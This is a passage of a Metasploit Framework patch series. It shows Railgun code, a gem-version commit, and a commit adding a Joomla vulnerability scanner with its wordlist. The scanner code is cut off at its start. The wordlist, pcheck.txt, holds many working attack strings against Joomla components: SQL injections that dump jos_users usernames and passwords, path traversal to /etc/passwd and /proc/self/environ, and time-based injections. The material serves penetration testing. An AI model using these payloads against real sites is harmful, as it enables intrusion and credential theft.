BUILTIN_DLLS.include? dll_name + # I highly doubt this case will ever occur, but I am paranoid + if dll_name !~ /^\w+$/ + raise "DLL name #{dll_name} is bad. Correct Railgun::BUILTIN_DLLS" + end + + require 'rex/post/meterpreter/extensions/stdapi/railgun/def/def_' << dll_name + dll = Def.const_get('Def_' << dll_name).create_dll.freeze + + @@cached_dlls[dll_name] = dll + dlls[dll_name] = dll + end + end + + end + + return dlls[dll_name] + end + + # + # Fake having members like user32 and kernel32. + # reason is that + # ...user32.MessageBoxW() + # is prettier than + # ...dlls["user32"].functions["MessageBoxW"]() + # + def method_missing(dll_symbol, *args) + dll_name = dll_symbol.to_s + + unless known_dll_names.include? dll_name + raise "DLL #{dll_name} not found. Known DLLs: #{PP.pp(known_dll_names, '')}" + end + + dll = get_dll(dll_name) + + return DLLWrapper.new(dll, client) + end + + # + # Return a Windows constant matching +str+. + # + def const(str) + return constant_manager.parse(str) + end + + # + # The multi-call shorthand (["kernel32", "ExitProcess", [0]]) + # + def multi(functions) + if @multicaller.nil? + @multicaller = MultiCaller.new(client, self) + end + + return @multicaller.call(functions) + end +end + +end; end; end; end; end; end From f8e1ccc27eac4e0ee4b56cb666fe5e67b5023d43 Mon Sep 17 00:00:00 2001 From: Luke Imhoff Date: Thu, 10 Jan 2013 17:50:00 -0600 Subject: [PATCH 009/129] Remove cred_files migration [#41837027] Mdm::CredFile is only used in Pro, so for metasploit_data_models 0.4.0, Mdm::CredFiles has been moved to Pro, so the migration has been moved to Pro too. --- Gemfile | 4 +--- Gemfile.lock | 21 +++++++++---------- .../20110608113500_add_cred_file_table.rb | 20 ------------------ 3 files changed, 11 insertions(+), 34 deletions(-) delete mode 100755 data/sql/migrate/20110608113500_add_cred_file_table.rb diff --git a/Gemfile b/Gemfile index 0bb1135b0b..502e0060b3 100755 --- a/Gemfile +++ b/Gemfile @@ -2,10 +2,8 @@ source 'http://rubygems.org' # Need 3+ for ActiveSupport::Concern gem 'activesupport', '>= 3.0.0' -# Needed for Msf::DbManager -gem 'activerecord' # Database models shared between framework and Pro. -gem 'metasploit_data_models', :git => 'git://github.com/rapid7/metasploit_data_models.git', :tag => '0.3.0' +gem 'metasploit_data_models', :git => 'git://github.com/rapid7/metasploit_data_models.git', :tag => '0.4.0' group :development do # Markdown formatting for yard diff --git a/Gemfile.lock b/Gemfile.lock index a9531cb601..99f60b664d 100644 --- a/Gemfile.lock +++ b/Gemfile.lock @@ -1,10 +1,10 @@ GIT remote: git://github.com/rapid7/metasploit_data_models.git - revision: 73f26789500f278dd6fd555e839d09a3b81a05f4 - tag: 0.3.0 + revision: 448c1065329efea1eac76a3897f626f122666743 + tag: 0.4.0 specs: - metasploit_data_models (0.3.0) - activerecord + metasploit_data_models (0.4.0) + activerecord (>= 3.2.10) activesupport pg pry @@ -12,15 +12,15 @@ GIT GEM remote: http://rubygems.org/ specs: - activemodel (3.2.9) - activesupport (= 3.2.9) + activemodel (3.2.11) + activesupport (= 3.2.11) builder (~> 3.0.0) - activerecord (3.2.9) - activemodel (= 3.2.9) - activesupport (= 3.2.9) + activerecord (3.2.11) + activemodel (= 3.2.11) + activesupport (= 3.2.11) arel (~> 3.0.2) tzinfo (~> 0.3.29) - activesupport (3.2.9) + activesupport (3.2.11) i18n (~> 0.6) multi_json (~> 1.0) arel (3.0.2) @@ -57,7 +57,6 @@ PLATFORMS ruby DEPENDENCIES - activerecord activesupport (>= 3.0.0) metasploit_data_models! rake diff --git a/data/sql/migrate/20110608113500_add_cred_file_table.rb b/data/sql/migrate/20110608113500_add_cred_file_table.rb deleted file mode 100755 index 9780e261e7..0000000000 --- a/data/sql/migrate/20110608113500_add_cred_file_table.rb +++ /dev/null @@ -1,20 +0,0 @@ -class AddCredFileTable < ActiveRecord::Migration - - def self.up - create_table :cred_files do |t| - t.integer :workspace_id, :null => false, :default => 1 - t.string :path, :limit => 1024 - t.string :ftype, :limit => 16 - t.string :created_by - t.string :name, :limit => 512 - t.string :desc, :limit => 1024 - - t.timestamps - end - end - - def self.down - drop_table :cred_files - end - -end From 0b61d28e0ee433e9a9daf9f411b61993e30c5baa Mon Sep 17 00:00:00 2001 From: f8lerror Date: Thu, 17 Jan 2013 11:36:59 -0500 Subject: [PATCH 010/129] added Joomla scanner and url wordlist --- data/wordlists/pcheck.txt | 627 ++++++++++++++++++ .../auxiliary/scanner/http/joomla_vulnscan.rb | 270 ++++++++ 2 files changed, 897 insertions(+) create mode 100755 data/wordlists/pcheck.txt create mode 100755 modules/auxiliary/scanner/http/joomla_vulnscan.rb diff --git a/data/wordlists/pcheck.txt b/data/wordlists/pcheck.txt new file mode 100755 index 0000000000..b65dd2a422 --- /dev/null +++ b/data/wordlists/pcheck.txt @@ -0,0 +1,627 @@ +&controller=../../../../../../../../../../../../[LFI]%00 +?1.5.10-x +?1.5.11-x-http_ref +?1.5.11-x-php-s3lf +?1.5.3-path-disclose +?1.5.3-spam +?1.5.8-x +?1.5.9-x +?j1012-fixate-session +?option=com_mysms&Itemid=0&task=phonebook +Joomla_1.6.0-Alpha2-Full-Package/components/com_mailto/assets/close-x.png +admin/ +administrator/ +administrator/components/ +administrator/components/com_a6mambocredits/ +administrator/components/com_a6mambohelpdesk/ +administrator/components/com_admin/admin.admin.html.php +administrator/components/com_astatspro/refer.php +administrator/components/com_bayesiannaivefilter/ +administrator/components/com_chronocontact/excelwriter/PPS/File.php +administrator/components/com_colophon/ +administrator/components/com_colorlab/ +administrator/components/com_comprofiler/ +administrator/components/com_comprofiler/plugin.class.php +administrator/components/com_cropimage/admin.cropcanvas.php +administrator/components/com_extplorer/ +administrator/components/com_feederator/includes/tmsp/add_tmsp.php +administrator/components/com_googlebase/ +administrator/components/com_installer +administrator/components/com_jcs/ +administrator/components/com_jim/ +administrator/components/com_jjgallery/ +administrator/components/com_joom12pic/ +administrator/components/com_joomla-visites/ +administrator/components/com_joomla_flash_uploader/ +administrator/components/com_joomlaflashfun/ +administrator/components/com_joomlaradiov5/ +administrator/components/com_jpack/ +administrator/components/com_jreactions/ +administrator/components/com_juser/ +administrator/components/com_admin/ +administrator/components/com_kochsuite / +administrator/components/com_linkdirectory/ +administrator/components/com_livechat/getSavedChatRooms.php +administrator/components/com_livechat/xmlhttp.php +administrator/components/com_lurm_constructor/admin.lurm_constructor.php +administrator/components/com_maianmedia/utilities/charts/php-ofc-library/ofc_upload_image.php?name=lo.php"); +administrator/components/com_mambelfish/ +administrator/components/com_mgm/ +administrator/components/com_mmp/help.mmp.php +administrator/components/com_mosmedia/ +administrator/components/com_multibanners/extadminmenus.class.php +administrator/components/com_panoramic/ +administrator/components/com_peoplebook/param.peoplebook.php +administrator/components/com_phpshop/toolbar.phpshop.html.php +administrator/components/com_remository/admin.remository.php +administrator/components/com_serverstat/install.serverstat.php +administrator/components/com_simpleswfupload/uploadhandler.php"); +administrator/components/com_swmenupro/ +administrator/components/com_treeg/ +administrator/components/com_uhp/ +administrator/components/com_uhp2/ +administrator/components/com_webring/ +administrator/components/com_wmtgallery/ +administrator/components/com_wmtportfolio/ +administrator/components/com_x-shop/ +administrator/index.php?option=com_djartgallery&task=editItem&cid[]=1'+and+1=1+--+ +administrator/index.php?option=com_searchlog&act=log +ajaxim/ +akocomments.php +cart?Itemid=[SQLi] +component/com__brightweblinks/ +component/option,com_jdirectory/task,show_content/contentid,1067/catid,26/directory,1/Itemid,0 +component/osproperty/?task=agent_register +component/quran/index.php?option=com_quran&action=viewayat&surano= +components/com_ clickheat/ +components/com_5starhotels/ +components/com_Jambook/jambook.php +components/com_a6mambocredits/ +components/com_a6mambohelpdesk/ +components/com_ab_gallery/ +components/com_acajoom/ +components/com_acctexp/ +components/com_aclassf/ +components/com_activities/ +components/com_actualite/ +components/com_admin/admin.admin.html.php +components/com_advancedpoll/ +components/com_agora/ +components/com_agoragroup/ +components/com_ajaxchat/ +components/com_akobook/ +components/com_akocomment/ +components/com_akogallery +components/com_alberghi/ +components/com_allhotels/ +components/com_alphacontent/ +components/com_altas/ +components/com_amocourse/ +components/com_artforms/assets/captcha/includes/captchaform/imgcaptcha.php +components/com_articles/ +components/com_artist/ +components/com_artlinks/ +components/com_asortyment/ +components/com_astatspro/ +components/com_awesom/ +components/com_babackup/ +components/com_banners/ +components/com_bayesiannaivefilter/ +components/com_be_it_easypartner/ +components/com_beamospetition/ +components/com_biblestudy/ +components/com_biblioteca/views/biblioteca/tmpl/pdf.php?pag=1&testo=-a%25' UNION SELECT 1,username,password,4,5,6,7,8,9 FROM jos_users%23 +components/com_biblioteca/views/biblioteca/tmpl/stampa.php?pag=1&testo=-a%25' UNION SELECT 1,username,password,4,5,6,7,8,9 FROM jos_users%23 +components/com_blog/ +components/com_bookflip/ +components/com_bookjoomlas/ +components/com_booklibrary/ +components/com_books/ +components/com_bsadv/ +components/com_bsq_sitestats/ +components/com_bsq_sitestats/external/rssfeed.php +components/com_bsqsitestats/ +components/com_calendar/ +components/com_camelcitydb2/ +components/com_candle/ +components/com_casino_blackjack/ +components/com_casino_videopoker/ +components/com_casinobase/ +components/com_catalogproduction/ +components/com_catalogshop/ +components/com_category/ +components/com_cgtestimonial/video.php?url="> +components/com_chronocontact/excelwriter/PPS/File.php +components/com_cinema/ +components/com_clasifier/ +components/com_classifieds/ +components/com_clickheat/ +components/com_cloner/ +components/com_cmimarketplace/ +components/com_cms/ +components/com_colophon/ +components/com_colorlab/ +components/com_competitions/ +components/com_comprofiler/ +components/com_comprofiler/plugin.class.php +components/com_contactinfo/ +components/com_content/ +components/com_cpg/cpg.php +components/com_cropimage/admin.cropcanvas.php +components/com_custompages/ +components/com_cx/ +components/com_d3000/ +components/com_dadamail/ +components/com_dailymessage/ +components/com_datsogallery/ +components/com_dbquery/ +components/com_detail/ +components/com_digistore/ +components/com_directory/ +components/com_djiceshoutbox/ +components/com_doc/ +components/com_downloads/ +components/com_ds-syndicate/ +components/com_dtregister/ +components/com_dv/externals/phpupload/upload.php"); +components/com_easybook/ +components/com_emcomposer/ +components/com_equotes/ +components/com_estateagent/ +components/com_eventing/ +components/com_eventlist/ +components/com_events/ +components/com_ewriting/ +components/com_expose/uploadimg.php +components/com_expshop/ +components/com_extcalendar/ +components/com_extcalendar/cal_popup.php?extmode=view&extid= +components/com_extcalendar/extcalendar.php +components/com_extended_registration/registration_detailed.inc.php +components/com_extplorer/ +components/com_ezine/ +components/com_ezstore/ +components/com_facileforms/ +components/com_fantasytournament/ +components/com_faq/ +components/com_feederator/includes/tmsp/add_tmsp.php +components/com_filebase/ +components/com_filiale/ +components/com_flashfun/ +components/com_flashmagazinedeluxe/ +components/com_flippingbook/ +components/com_flyspray/startdown.php +components/com_fm/fm.install.php +components/com_foevpartners/ +components/com_football/ +components/com_formtool/ +components/com_forum/ +components/com_fq/ +components/com_fundraiser/ +components/com_galeria/ +components/com_galleria/galleria.html.php +components/com_gallery/ +components/com_game/ +components/com_gameq/ +components/com_garyscookbook/ +components/com_genealogy/ +components/com_geoboerse/ +components/com_gigcal/ +components/com_gmaps/ +components/com_googlebase/ +components/com_gsticketsystem/ +components/com_guide/ +components/com_hashcash/server.php +components/com_hbssearch/ +components/com_hello_world/ +components/com_hotproperties/ +components/com_hotproperty/ +components/com_hotspots/ +components/com_htmlarea3_xtd-c/popups/ImageManager/config.inc.php +components/com_hwdvideoshare/ +components/com_hwdvideoshare/assets/uploads/flash/flash_upload.php?jqUploader=1"); +components/com_ice/ +components/com_idoblog/ +components/com_idvnews/ +components/com_ignitegallery/ +components/com_ijoomla_archive/ +components/com_ijoomla_rss/ +components/com_inter/ +components/com_ionfiles/ +components/com_is/ +components/com_ixxocart/ +components/com_jabode/ +components/com_jashowcase/ +components/com_jb2/ +components/com_jce/ +components/com_jcs/ +components/com_jd-wiki/ +components/com_jd-wp/ +components/com_jim/ +components/com_jjgallery/ +components/com_jmovies/ +components/com_jobline/ +components/com_jombib/ +components/com_joobb/ +components/com_jooget/ +components/com_joom12pic/ +components/com_joomla-visites/ +components/com_joomla_flash_uploader/ +components/com_joomlaboard/ +components/com_joomladate/ +components/com_joomlaflashfun/ +components/com_joomlalib/ +components/com_joomlaradiov5/ +components/com_joomlavvz/ +components/com_joomlaxplorer/ +components/com_joomloads/ +components/com_joomradio/ +components/com_joomtracker/ +components/com_joovideo/ +components/com_jotloader/ +components/com_journal/ +components/com_jpack/ +components/com_jpad/ +components/com_jreactions/ +components/com_jreviews/scripts/xajax.inc.php +components/com_jumi/ +components/com_juser/ +components/com_jvideo/ +components/com_k2/ +components/com_kbase/ +components/com_knowledgebase/fckeditor/fckeditor.js +components/com_kochsuite / +components/com_kunena/ +components/com_letterman/ +components/com_lexikon/ +components/com_linkdirectory/ +components/com_listoffreeads/ +components/com_livechat/getSavedChatRooms.php +components/com_livechat/xmlhttp.php +components/com_liveticker/ +components/com_lm/ +components/com_lmo/ +components/com_loudmounth/includes/abbc/abbc.class.php +components/com_loudmouth/ +components/com_lowcosthotels/ +components/com_lurm_constructor/admin.lurm_constructor.php +components/com_mad4joomla/ +components/com_madeira/img.php +components/com_maianmusic/ +components/com_mailarchive/ +components/com_mailto/ +components/com_mambatstaff/mambatstaff.php +components/com_mambelfish/ +components/com_mambospgm/ +components/com_mambowiki/MamboLogin.php +components/com_marketplace/ +components/com_mcquiz/ +components/com_mdigg/ +components/com_media_library/ +components/com_mediaslide/ +components/com_mezun/ +components/com_mgm/ +components/com_minibb/ +components/com_misterestate/ +components/com_mmp/help.mmp.php +components/com_model/ +components/com_moodle/moodle.php +components/com_moofaq/ +components/com_mosmedia/ +components/com_mospray/scripts/admin.php +components/com_mosres/ +components/com_most/ +components/com_mp3_allopass/ +components/com_mtree/ +components/com_mtree/img/listings/o/{id}.php +components/com_multibanners/extadminmenus.class.php +components/com_myalbum/ +components/com_mycontent/ +components/com_mydyngallery/ +components/com_mygallery/ +components/com_n-forms/ +components/com_na_content/ +components/com_na_mydocs/ +components/com_na_newsdescription/ +components/com_na_qforms/ +components/com_neogallery/ +components/com_neorecruit/ +components/com_neoreferences/ +components/com_netinvoice/ +components/com_news/ +components/com_news_portal/ +components/com_newsflash/ +components/com_nfn_addressbook/ +components/com_nicetalk/ +components/com_noticias/ +components/com_omnirealestate/ +components/com_omphotogallery/ +components/com_ongumatimesheet20/ +components/com_onlineflashquiz/ +components/com_ownbiblio/ +components/com_panoramic/ +components/com_paxgallery/ +components/com_paxxgallery/ +components/com_pcchess/ +components/com_pcchess/include.pcchess.php +components/com_pccookbook/ +components/com_pccookbook/pccookbook.php +components/com_peoplebook/param.peoplebook.php +components/com_performs/ +components/com_philaform/ +components/com_phocadocumentation/ +components/com_php/ +components/com_phpshop/toolbar.phpshop.html.php +components/com_pinboard/ +components/com_pms/ +components/com_poll/ +components/com_pollxt/ +components/com_ponygallery/ +components/com_portafolio/ +components/com_portfol/ +components/com_prayercenter/ +components/com_pro_desk/ +components/com_prod/ +components/com_productshowcase/ +components/com_profiler/ +components/com_projectfork/ +components/com_propertylab/ +components/com_puarcade/ +components/com_publication/ +components/com_quiz/ +components/com_rapidrecipe/ +components/com_rdautos/ +components/com_realestatemanager/ +components/com_recly/ +components/com_referenzen/ +components/com_rekry/ +components/com_remository/admin.remository.php +components/com_remository_files/file_image_14/1276100016shell.php +components/com_reporter/processor/reporter.sql.php +components/com_resman/ +components/com_restaurante/ +components/com_ricette/ +components/com_rsfiles/ +components/com_rsgallery/ +components/com_rsgallery2/ +components/com_rss/ +components/com_rssreader/ +components/com_rssxt/ +components/com_rwcards/ +components/com_school/ +components/com_search/ +components/com_sebercart/getPic.php?p=[LFD]%00 +components/com_securityimages/ +components/com_sef/ +components/com_seminar/ +components/com_serverstat/install.serverstat.php +components/com_sg/ +components/com_simple_review/ +components/com_simpleboard/ +components/com_simplefaq/ +components/com_simpleshop/ +components/com_sitemap/sitemap.xml.php +components/com_slideshow/ +components/com_smf/ +components/com_smf/smf.php +components/com_swmenupro/ +components/com_team/ +components/com_tech_article/ +components/com_thopper/ +components/com_thyme/ +components/com_tickets/ +components/com_tophotelmodule/ +components/com_tour_toto/ +components/com_trade/ +components/com_uhp/ +components/com_uhp2/ +components/com_user/controller.php +components/com_users/ +components/com_utchat/pfc/lib/pear/PHPUnit/GUI/Gtk.php +components/com_vehiclemanager/ +components/com_versioning / +components/com_videodb/core/videodb.class.xml.php +components/com_virtuemart/ +components/com_volunteer/ +components/com_vr/ +components/com_waticketsystem/ +components/com_webhosting/ +components/com_weblinks/ +components/com_webring/ +components/com_wmtgallery/ +components/com_wmtportfolio/ +components/com_x-shop/ +components/com_xevidmegahd/ +components/com_xewebtv/ +components/com_xfaq/ +components/com_xgallery/helpers/img.php?file= +components/com_xsstream-dm/ +components/com_ynews/ +components/com_yvcomment/ +components/com_zoom/classes/ +components/mod_letterman/ +components/remository/ +eXtplorer/ +easyblog/entry/uncategorized +extplorer/ +http://{target}/components/com_mtree/img/listings/o/{id}.php where {id} +includes/joomla.php +index.php/404' +index.php/?option=com_question&catID=21' and+1=0 union all +index.php/image-gallery/">/25-koala +index.php?file=..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fetc%2fpasswd&jat3action=gzip&type=css&v=1 +index.php?option=com_aardvertiser&cat_name=Vehicles'+AND+'1'='1&task=view +index.php?option=com_aardvertiser&cat_name=conf&task=<= +index.php?option=com_aardvertiser&task= +index.php?option=com_abc&view=abc&letter=AS§ionid=' +index.php?option=com_advert&id=36' +index.php?option=com_alameda&controller=comments&task=edit&storeid=-1+union+all+select+concat_ws(0x3a,username,password)+from+jos_users-- +index.php?option=com_alfurqan15x&action=viewayat&surano= +index.php?option=com_amblog&view=amblog&catid=-1 UNION SELECT @@version +index.php?option=com_annonces&view=edit&Itemid=1 +index.php?option=com_articleman&task=new +index.php?option=com_bbs&bid=-1 +index.php?option=com_beamospetition&startpage=3&pet=- +index.php?option=com_beamospetition&startpage=3&pet=-1+Union+select+user()+from+jos_users- +index.php?option=com_bearleague&task=team&tid=8&sid=1&Itemid=%27 +index.php?option=com_beeheard&controller=../../../../../../../../../../etc/passwd%00 +index.php?option=com_biblioteca&view=biblioteca&testo=-a%25' UNION SELECT 1,username,password,4,5,6,7,8,9 FROM jos_users%23 +index.php?option=com_blogfactory&controller=../../../../../../../../../../etc/passwd%00 +index.php?option=com_bnf&task=listar&action=filter_add&seccion=pago&seccion_id=-1 +index.php?option=com_camelcitydb2&id=-3+union+select+1,2,concat(username,0x3a,password),4,5,6,7,8,9,10,11+from+jos_users-- +index.php?option=com_chronoconnectivity&itemid=1 +index.php?option=com_chronocontact&itemid=1 +index.php?option=com_cinema&Itemid=S@BUN&func=detail&id= +index.php?option=com_clantools&squad=1+ +index.php?option=com_clantools&task=clanwar&showgame=1+ +index.php?option=com_commedia&format=raw&task=image&pid=4&id=964' +index.php?option=com_commedia&task=page&commpid=21 +index.php?option=com_connect&view=connect&controller= +index.php?option=com_content&view=article&id=[A VALID ID]&Itemid=[A VALID ID]&sflaction=dir&sflDir=../../../ +index.php?option=com_delicious&controller=../../../../../../../../../../etc/passwd%00 +index.php?option=com_dioneformwizard&controller=[LFI]%00 +index.php?option=com_discussions&view=thread&catid=[Correct CatID]&thread=-1 +index.php?option=com_dshop&controller=fpage&task=flypage&idofitem=12 +index.php?option=com_easyfaq&Itemid=1&task=view&gid= +index.php?option=com_easyfaq&catid=1&task=view&id=-2527+ +index.php?option=com_easyfaq&task=view&contact_id= +index.php?option=com_elite_experts&task=showExpertProfileDetailed&getExpertsFromCountry=&language=ru&id= +index.php?option=com_equipment&task=components&id=45&sec_men_id= +index.php?option=com_equipment&view=details&id= +index.php?option=com_estateagent&Itemid=47&act=object&task=showEO&id=[sqli] +index.php?option=com_etree&view=displays&layout=category&id=[SQL] +index.php?option=com_etree&view=displays&layout=user&user_id=[SQL] +index.php?option=com_ezautos&Itemid=49&id=1&task=helpers&firstCode=1 +index.php?option=com_fabrik&view=table&tableid=13+union+select+1---- +index.php?option=com_filecabinet&task=download&cid[]=7 +index.php?option=com_firmy&task=section_show_set&Id=-1 +index.php?option=com_fss&view=test&prodid=777777.7'+union+all+select+77777777777777%2C77777777777777%2C77777777777777%2Cversion()%2C77777777777777%2C77777777777777%2C77777777777777%2C77777777777777%2C77777777777777%2C77777777777777%2C77777777777777--+D4NB4R +index.php?option=com_golfcourseguide&view=golfcourses&cid=1&id= +index.php?option=com_graphics&controller= +index.php?option=com_grid&gid=15_ok_0',%20'15_ok_0&data_search= +index.php?option=com_grid&gid=15_ok_0',%20'15_ok_0?data_search=&rpp= +index.php?option=com_huruhelpdesk&view=detail +index.php?option=com_huruhelpdesk&view=detail&cid[0]= +index.php?option=com_huruhelpdesk&view=detail&cid[0]=-1 +index.php?option=com_icagenda&view=list&layout=event&Itemid=520&id=1 and 1=1 +index.php?option=com_icagenda&view=list&layout=event&Itemid=520&id=1 and 1=2 +index.php?option=com_icagenda&view=list&layout=event&Itemid=520&id[]=1 +index.php?option=com_iproperty&view=agentproperties&id= +index.php?option=com_jacomment&view= +index.php?option=com_jacomment&view=../../../../../../../../../../etc/passwd%00 +index.php?option=com_javoice&view=../../../../../../../../../../../../../../../etc/passwd%00 +index.php?option=com_jcommunity&controller=members&task=1' +index.php?option=com_jeajaxeventcalendar&view=alleventlist_more&event_id=-13 +index.php?option=com_jefaqpro&view=category&layout=categorylist&catid=2 +index.php?option=com_jefaqpro&view=category&layout=categorylist&task=lists&catid=2 +index.php?option=com_jeguestbook&view=../../../../../../../../etc/passwd%00 +index.php?option=com_jeguestbook&view=item_detail&d_itemid=-1 OR (SELECT(IF(0x41=0x41, BENCHMARK(999999999,NULL),NULL))) +index.php?option=com_jfuploader&Itemid= +index.php?option=com_jgen&task=view&id= +index.php?option=com_jgrid&controller=../../../../../../../../etc/passwd%00 +index.php?option=com_jimtawl&Itemid=12&task= +index.php?option=com_jmarket&controller=product&task=1' +index.php?option=com_jobprofile&Itemid=61&task=profilesview&id=1' +index.php?option=com_jomdirectory&task=search&type=111+ +index.php?option=com_joomdle&view=detail&cat_id=1&course_id= +index.php?option=com_joomla_flash_uploader&Itemid=1 +index.php?option=com_joomleague&func=showNextMatch&p=[sqli] +index.php?option=com_joomleague&view=resultsmatrix&p=4&Itemid=[sqli] +index.php?option=com_joomtouch&controller= +index.php?option=com_jphone&controller../../../../../../../../../../etc/passwd%00 +index.php?option=com_jphone&controller../../../../../../../../../../proc/self/environ%00 +index.php?option=com_jscalendar&view=jscalendar&task=details&ev_id=999 UNION SELECT 1,username,password,4,5,6,7,8 FROM jos_users +index.php?option=com_jstore&controller=product-display&task=1' +index.php?option=com_jsubscription&controller=subscription&task=1' +index.php?option=com_jtickets&controller=ticket&task=1' +index.php?option=com_konsultasi&act=detail&sid= +index.php?option=com_ksadvertiser&Itemid=36&task=add&catid=0&lang=en +index.php?option=com_kunena&func=userlist&search= +index.php?option=com_lead&task=display&archive=1&Itemid=65&leadstatus=1' +index.php?option=com_lovefactory&controller=../../../../../../../../../../etc/passwd%00 +index.php?option=com_markt&page=show_category&catid=7+union+select+0,1,password,3,4,5,username,7,8+from+jos_users-- +index.php?option=com_matamko&controller= +index.php?option=com_myhome&task=4&nidimmindex.php?option=com_myhome&task=4&nidimm +index.php?option=com_neorecruit&task=offer_view&id= +index.php?option=com_newsfeeds&view=categories&feedid=-1%20union%20select%201,concat%28username,char%2858%29,password%29,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30%20from%20jos_users-- +index.php?option=com_noticeboard&controller= +index.php?option=com_obsuggest&controller= +index.php?option=com_ongallery&task=ft&id=-1+order+by+1-- +index.php?option=com_ongallery&task=ft&id=-1+union+select+1-- +index.php?option=com_oziogallery&Itemid= +index.php?option=com_page&id=53 +index.php?option=com_pbbooking&task=validate&id=-1 OR (SELECT(IF(0x41=0x41,BENCHMARK(999999999,NULL),NULL))) +index.php?option=com_pcchess&controller=../../../../../../../../../../../../../etc/passwd%00 +index.php?option=com_peliculas&view=peliculas&id=null[Sql Injection] +index.php?option=com_phocagallery&view=categories&Itemid= +index.php?option=com_photomapgallery&view=imagehandler&folder=-1 OR (SELECT(IF(0x41=0x41,BENCHMARK(9999999999,NULL),NULL))) +index.php?option=com_php&file=../../../../../../../../../../etc/passwd +index.php?option=com_php&file=../images/phplogo.jpg +index.php?option=com_php&file=../js/ie_pngfix.js +index.php?option=com_ponygallery&Itemid=[sqli] +index.php?option=com_products&catid=-1 +index.php?option=com_products&id=-1 +index.php?option=com_products&product_id=-1 +index.php?option=com_products&task=category&catid=-1 +index.php?option=com_properties&task=agentlisting&aid= +index.php?option=com_qcontacts&Itemid=1' +index.php?option=com_qcontacts?=catid=0&filter_order=[SQLi]&filter_order_Dir=&option=com_qcontacts +index.php?option=com_record&controller=../../../../../../../../../../etc/passwd%00 +index.php?option=com_restaurantguide&view=country&id='&Itemid=69 +index.php?option=com_rokmodule&tmpl=component&type=raw&module=1' +index.php?option=com_seyret&view= +index.php?option=com_simpleshop&Itemid=26&task=viewprod&id=-999.9 UNION SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,concat(username,0x3e,password,0x3e,usertype,0x3e,lastvisitdate)+from+jos_users-- +index.php?option=com_smartsite&controller= +index.php?option=com_spa&view=spa_product&cid= +index.php?option=com_spidercalendar +index.php?option=com_spidercalendar&date=1' +index.php?option=com_spielothek&task=savebattle&bid=-1 OR (SELECT(IF(0x41=0x41,BENCHMARK(9999999999,NULL),NULL))) +index.php?option=com_spielothek&view=battle&wtbattle=ddbdelete&dbtable=vS&loeschen[0]=-1 OR (SELECT(IF(0x41=0x41,BENCHMARK(9999999999,NULL),NULL))) +index.php?option=com_spielothek&view=battle&wtbattle=play&bid=-1 OR (SELECT(IF(0x41=0x41,BENCHMARK(9999999999,NULL),NULL))) +index.php?option=com_staticxt&staticfile=test.php&id=1923 +index.php?option=com_szallasok&mode=8&id=25 (SQL) +index.php?option=com_tag&task=tag&tag= +index.php?option=com_timereturns&view=timereturns&id=7+union+all+select+concat_ws(0x3a,username,password),2,3,4,5,6+from+jos_users-- +index.php?option=com_timetrack&view=timetrack&ct_id=-1 UNION SELECT 1,2,3,4,5,6,7,8,9,10,11,CONCAT(username,0x3A,password) FROM jos_users +index.php?option=com_ultimateportfolio&controller= +index.php?option=com_users&view=registration +index.php?option=com_virtuemart&page=account.index&keyword=[sqli] +index.php?option=com_worldrates&controller=../../../../../../../../../../etc/passwd%00 +index.php?option=com_x-shop&action=artdetail&idd=' +index.php?option=com_x-shop&action=artdetail&idd='[SQLi] +index.php?option=com_xcomp&controller=../../[LFI]%00 +index.php?option=com_xvs&controller=../../[LFI]%00 +index.php?option=com_yellowpages&cat=-1923+UNION+SELECT 1,concat_ws(0x3a,username,password),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37+from+jos_users--+Union+select+user()+from+jos_users-- +index.php?option=com_yjcontactus&view= +index.php?option=com_youtube&id_cate=4 +index.php?option=com_zina&view=zina&Itemid=9 +index.php?option=com_zoomportfolio&view=portfolio&view=portfolio&id= +index.php?search=NoGe&option=com_esearch&searchId= +index.php?view=videos&type=member&user_id=-62+union+select+1,2,3,4,5,6,7,8,9,10,11,12,group_concat(username,0x3a,password),14,15,16,17,18,19,20,21,22,23,24,25,26,27+from+jos_users--&option=com_jomtube +index2.php?option=com_joomradio&page=show_video&id=-13+union+select+1,group_concat(username,0x3a,password),3,4,5,6,7+from+jos_users-- +js/index.php?option=com_socialads&view=showad&Itemid=94 +libraries/joomla/utilities/compat/php50x.php +libraries/pcl/pcltar.php +libraries/phpmailer/phpmailer.php +libraries/phpxmlrpc/xmlrpcs.php +modules/mod_artuploader/upload.php"); +modules/mod_as_category.php +modules/mod_calendar.php +modules/mod_ccnewsletter/helper/popup.php?id=[SQLi] +modules/mod_dionefileuploader/upload.php?module_dir=./&module_max=2097152&file_type=application/octet-stream"); +modules/mod_jfancy/script.php"); +modules/mod_ppc_simple_spotlight/elements/upload_file.php +modules/mod_ppc_simple_spotlight/img/ +modules/mod_pxt/ +modules/mod_quick_question.php +modules/mod_visitorsgooglemap/map_data.php?action=listpoints&lastMarkerID=0 +patch/makedown.php?arquivo=../../../../etc/passwd +plugins/content/efup_files/helper.php"); +plugins/editors/idoeditor/themes/advanced/php/image.php" method="post" enctype="multipart/form-data"> +plugins/editors/tinymce/jscripts/tiny_mce/plugins/tinybrowser/ +plugins/editors/xstandard/attachmentlibrary.php +print.php?task=person&id=36 and 1=1 +templates/be2004-2/ +templates/ja_purity/ +wap/wapmain.php?option=onews&action=link&id=-154+union+select+1,2,3,concat(username,0x3a,password),5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28+from+jos_users+limit+0,1-- +web/index.php?option=com_rokmodule&tmpl=component&type=raw&module=1' \ No newline at end of file diff --git a/modules/auxiliary/scanner/http/joomla_vulnscan.rb b/modules/auxiliary/scanner/http/joomla_vulnscan.rb new file mode 100755 index 0000000000..c8cbfbae27 --- /dev/null +++ b/modules/auxiliary/scanner/http/joomla_vulnscan.rb @@ -0,0 +1,270 @@ +## +# $Id: joomla_vulnscan.rb +## +## +#Thanks to @zeroSteiner @kaospunk helping with examples and questions. Also thanks to Joomscan and various MSF modules for code examples. +## +# This file is part of the Metasploit Framework and may be subject to +# redistribution and commercial restrictions. Please see the Metasploit +# web site for more information on licensing and terms of use. +# http://metasploit.com/ +## +require 'msf/core' + +class Metasploit3 < Msf::Auxiliary + + include Msf::Exploit::Remote::HttpClient + include Msf::Auxiliary::Scanner + include Msf::Auxiliary::Report + + def initialize + super( + 'Name' => 